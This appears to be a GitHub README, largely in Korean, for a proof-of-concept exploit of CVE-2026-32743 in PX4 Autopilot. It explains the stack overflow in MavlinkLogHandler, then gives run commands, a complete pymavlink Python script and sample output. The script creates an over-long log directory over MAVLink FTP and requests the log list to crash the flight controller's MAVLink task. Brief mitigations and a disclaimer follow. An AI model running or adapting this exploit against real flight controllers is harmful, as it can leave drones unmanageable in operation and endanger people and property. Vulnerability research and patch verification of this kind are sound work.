mbanyamer/cve-2026-32743-px4-autopilot-mavlinkloghandler-stack-buffer-overflow-dos-PX4 Autopilot 버전 ≤1.17.0-rc2에 대한 원격 서비스 거부(DoS) 공격으로, MavlinkLogHandler의 스택 기반 버퍼 오버플로를 이용합니다.
-orange){kind=icon}
-blue){kind=icon}
CVE-2026-32743은 PX4 Autopilot ≤1.17.0-rc2 버전의 MavlinkLogHandler에서 발생하는 스택 기반 버퍼 오버플로우입니다.
LogEntry.filepath 버퍼는 60바이트에 불과하지만, sscanf()는 폭 지정자(width specifier) 없이 로그 디렉터리 경로를 파싱합니다.
MAVLink 링크 접근 권한을 가진 공격자는 다음을 수행할 수 있습니다:
/fs/microsd/log/ 내부에 깊게 중첩된 디렉터리(경로 길이 > 60바이트)를 생성합니다.MAV_CMD_REQUEST_LOG_LIST를 통해 로그 목록을 요청합니다.MavlinkLogHandler가 긴 경로를 60바이트 버퍼에 복사합니다 → 스택 오버플로우.수정 버전: commit 616b25a (sscanf에 폭 지정자 추가).
sequenceDiagram
participant Attacker
participant PX4 as PX4 Flight Controller
participant SD as SD Card (/fs/microsd/log/)
Attacker->>PX4: 1. Open MAVLink connection (UDP 14550)
PX4-->>Attacker: Heartbeat (system/component IDs)
Note over Attacker,PX4: Step 2: Create long directory via MAVLink FTP
Attacker->>PX4: MAVLink FTP: OpenFile( path = "/fs/microsd/log/" + "A"*70, flags=O_CREAT|O_DIRECTORY )
PX4->>SD: Create directory (named 70×'A')
SD-->>PX4: OK
Note over Attacker,PX4: Step 3: Trigger overflow by requesting log list
Attacker->>PX4: MAV_CMD_REQUEST_LOG_LIST (command 261)
PX4->>PX4: MavlinkLogHandler::list() reads log directory
PX4->>PX4: sscanf(path, "%s", LogEntry.filepath) ← NO width limit!
Note right of PX4: Buffer overflow: 70 bytes written into 60-byte buffer
PX4--xAttacker: MAVLink task crashes → no more heartbeats/commands
Note over Attacker,PX4: ✅ DoS achieved – flight controller unmanageable
1.17.0-rc2 실행 중이며 SD 카드가 마운트된 대상 (로그는 /fs/microsd/log/에 저장됨).14550)에 대한 네트워크 접근.pymavlink가 설치된 Python 3.6+:
pip install pymavlink
git clone https://github.com/mbanyamer/CVE-2026-32743-PoC
cd CVE-2026-32743-PoC
python3 exploit.py <TARGET_IP> [--port <PORT>]
| 인자 | 설명 | 기본값 |
|---|---|---|
target_ip | 비행 컨트롤러의 IP 주소 | 필수 |
--port | MAVLink UDP 포트 | 14550 |
python3 exploit.py 192.168.1.10 --port 14550
예상 출력 (성공적인 DoS):
[*] Connecting to MAVLink target: 192.168.1.10:14550
[+] Heartbeat received from system 1, component 1
[*] Creating long directory: /fs/microsd/log/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA... (length 80 bytes)
[+] Directory created (or already existed).
[*] Requesting log list via MAV_CMD_REQUEST_LOG_LIST...
[*] Waiting for crash (target will stop responding)...
[+] Target unresponsive – DoS achieved!
#!/usr/bin/env python3
# Exploit Title: PX4 Autopilot MavlinkLogHandler Stack Buffer Overflow (DoS)
# CVE: CVE-2026-32743
# Date: 2026-05-08
# Exploit Author: Mohammed Idrees Banyamer
# Author Country: Jordan
# Instagram: @banyamer_security
# Author GitHub: https://github.com/mbanyamer
# Vendor Homepage: https://px4.io/
# Software Link: https://github.com/PX4/PX4-Autopilot
# Affected: Versions 1.17.0-rc2 and below
# Tested on: PX4 v1.17.0-rc2 (Pixhawk)
# Category: DoS
# Platform: Embedded (PX4 Autopilot)
# Exploit Type: Stack-based Buffer Overflow
# CVSS: 7.5 (High)
# CWE: CWE-121
# Description: Creates an overly long directory via MAVLink FTP, then requests log list.
# Fixed in: https://github.com/PX4/PX4-Autopilot/commit/616b25a
# Usage: python3 exploit.py <target_ip> [--port <port>]
print(r"""
╔════════════════════════════════════════════════════════════════════════════════════════════╗
║ ║
║ ██████╗ █████╗ ███╗ ██╗██╗ ██╗ █████╗ ███╗ ███╗███████╗██████╗ ║
║ ██╔══██╗██╔══██╗████╗ ██║╚██╗ ██╔╝██╔══██╗████╗ ████║██╔════╝██╔══██╗ ║
║ ██████╔╝███████║██╔██╗ ██║ ╚████╔╝ ███████║██╔████╔██║█████╗ ██████╔╝ ║
║ ██╔══██╗██╔══██║██║╚██╗██║ ╚██╔╝ ██╔══██║██║╚██╔╝██║██╔══╝ ██╔══██╗ ║
║ ██████╔╝██║ ██║██║ ╚████║ ██║ ██║ ██║██║ ╚═╝ ██║███████╗██║ ██║ ║
║ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ║
║ ║
║ [ b a n y a m e r _ s e c u r i t y ] ║
║ ║
║ ▸ Silent Hunter | Shadow Presence | Digital Intel ◂ ║
║ ║
║ Operator : Mohammed Idrees Banyamer • Jordan 🇯🇴 ║
║ Handle : @banyamer_security ║
║ ║
║ Exploit : CVE-2026-32743 ║
║ Target : PX4 Autopilot • MAVLink • Log Handler ║
║ ║
║ Status : ACTIVE ║
║ ║
╚════════════════════════════════════════════════════════════════════════════════════════════╝
""")
import time
import struct
import argparse
from pymavlink import mavutil
from pymavlink.dialects.v20 import common as mavlink2
def send_ftp_command(mav, seq, payload):
msg = mav.file_transfer_protocol_encode(
target_system=mav.target_system,
target_component=mav.target_component,
payload=payload
)
mav.mav.send(msg)
def ftp_create_directory(mav, path):
O_CREAT = 0x04
O_DIRECTORY = 0x08
seq = 1
path_bytes = path.encode('utf-8') + b'\x00'
payload = struct.pack('<BBHB', 0, 0, seq, 0) + path_bytes
send_ftp_command(mav, seq, payload)
time.sleep(0.5)
def exploit(target_ip, target_port):
print(f"[*] Connecting to MAVLink target: {target_ip}:{target_port}")
master = mavutil.mavlink_connection(f"udpout:{target_ip}:{target_port}")
master.wait_heartbeat()
print(f"[+] Heartbeat received from system {master.target_system}, component {master.target_component}")
long_dir_name = "A" * 70
full_path = f"/fs/microsd/log/{long_dir_name}"
print(f"[*] Creating long directory: {full_path} (length {len(full_path)} bytes)")
try:
ftp_create_directory(master, full_path)
print("[+] Directory created (or already existed).")
except Exception as e:
print(f"[-] FTP directory creation failed: {e}")
print(" Ensure the target supports MAVLink FTP and the SD card is mounted.")
return
print("[*] Requesting log list via MAV_CMD_REQUEST_LOG_LIST...")
master.mav.command_long_send(
master.target_system,
master.target_component,
mavlink2.MAV_CMD_REQUEST_LOG_LIST,
0,
0,
0, 0, 0, 0, 0, 0
)
print("[*] Waiting for crash (target will stop responding)...")
time.sleep(5)
try:
master.mav.heartbeat_send(mavlink2.MAV_TYPE_GCS, mavlink2.MAV_AUTOPILOT_GENERIC)
print("[-] Target still responsive – vulnerability may be patched or conditions not met.")
except Exception:
print("[+] Target unresponsive – DoS achieved!")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="CVE-2026-32743 PX4 MavlinkLogHandler DoS Exploit")
parser.add_argument("target_ip", help="IP address of the target flight controller")
parser.add_argument("--port", type=int, default=14550, help="MAVLink UDP port (default: 14550)")
args = parser.parse_args()
exploit(args.target_ip, args.port)
$ python3 exploit.py 192.168.1.100
╔════════════════════════════════════════════════════════════════════════════════════════════╗
║ [banner] ║
╚════════════════════════════════════════════════════════════════════════════════════════════╝
[*] Connecting to MAVLink target: 192.168.1.100:14550
[+] Heartbeat received from system 1, component 1
[*] Creating long directory: /fs/microsd/log/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (length 80 bytes)
[+] Directory created (or already existed).
[*] Requesting log list via MAV_CMD_REQUEST_LOG_LIST...
[*] Waiting for crash (target will stop responding)...
[+] Target unresponsive – DoS achieved!
616b25a 이후의 빌드)으로 업그레이드합니다.MAV_0_FTP를 0으로 설정합니다./fs/microsd/log/ 내부의 비정상적인 디렉터리 생성 시도를 모니터링합니다.Mohammed Idrees Banyamer
"Silent Hunter | Shadow Presence | Digital Intel"
이 개념 증명(PoC)은 교육 및 방어 목적으로만 제공됩니다.
소유하지 않았거나 명시적 테스트 허가를 받지 않은 시스템에 대한 무단 사용은 불법입니다.
작성자는 이 소프트웨어로 인한 오용 또는 손해에 대해 책임을 지지 않습니다.
이 프로젝트는 MIT 라이선스에 따라 배포됩니다 – 자세한 내용은 LICENSE 파일을 참조하세요.
출처를 명시하면 자유롭게 사용, 수정 및 배포할 수 있습니다.
